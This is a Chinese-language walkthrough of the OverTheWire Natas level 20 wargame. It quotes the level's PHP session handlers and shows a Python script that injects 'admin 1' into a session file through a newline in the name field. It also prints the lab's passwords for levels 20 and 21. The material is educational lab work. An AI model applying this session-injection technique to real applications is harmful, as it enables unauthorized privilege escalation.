Overthewire-natas20
Overthewire level 20 to level 21
题目给了一个按钮,提交一个名字到后台, 尝试性地写了个admin果然没啥反应...
先点进题目给的源码看看。在简单的浏览后, 定位到源码中几个关键的函数
function myread($sid) {
debug("MYREAD $sid");
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return "";
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
if(!file_exists($filename)) {
debug("Session file doesn't exist");
return "";
}
debug("Reading from ". $filename);
$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
return session_encode();
}
function mywrite($sid, $data) {
// $data contains the serialized version of $_SESSION
// but our encoding is better
debug("MYWRITE $sid $data");
// make sure the sid is alnum only!!
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return;
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
$data = "";
debug("Saving in ". $filename);
ksort($_SESSION);
foreach($_SESSION as $key => $value) {
debug("$key => $value");
$data .= "$key $value\n";
}
file_put_contents($filename, $data);
chmod($filename, 0600);
}
function print_credentials() {
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas21\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
}
}
页面提供了一个read和write函数,以及一个打印凭证的函数。read函数读取后台的某个文件,并把它展示到页面上,write函数则对应着我们提交的内容。我们的目标则是往cookie中注入admin=1。
先看看write函数,它把sid中的内容用strspn进行了验证,因此通过字符串拼接来注入的方式不可行。但是write函数也给我们提供了一个线索,就是它保存的路径名为session_save_path()/mymess_$sid
再看看read函数,它同样对sid进行了验证,然后读取文件到$data中。接下来把data按行拆分,并把每行用空格分隔开。这里可以看见它是基于每行读取的内容来对session进行设置的,并且没有对读取出来的内容进行校验。我们的目标是往session里面写一个admin=1,只需要在提交的内容里给它换行,即可拼接上任何我们想要的cookie。破解代码如下
import requests
auth = ('natas20', 'eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF')
resp = requests.post('http://natas20.natas.labs.overthewire.org/index.php',
auth=auth,
data={'name': 'sth\nadmin 1'})
sid = resp.cookies['PHPSESSID']
resp = requests.get('http://natas20.natas.labs.overthewire.org/',
auth=auth,
cookies={'PHPSESSID': sid})
print(resp.text)
整个代码分两次提交,分别对应调用write和read。第21关密码为IFekPyrQXftziDEsUr3x21sYuahypdgJ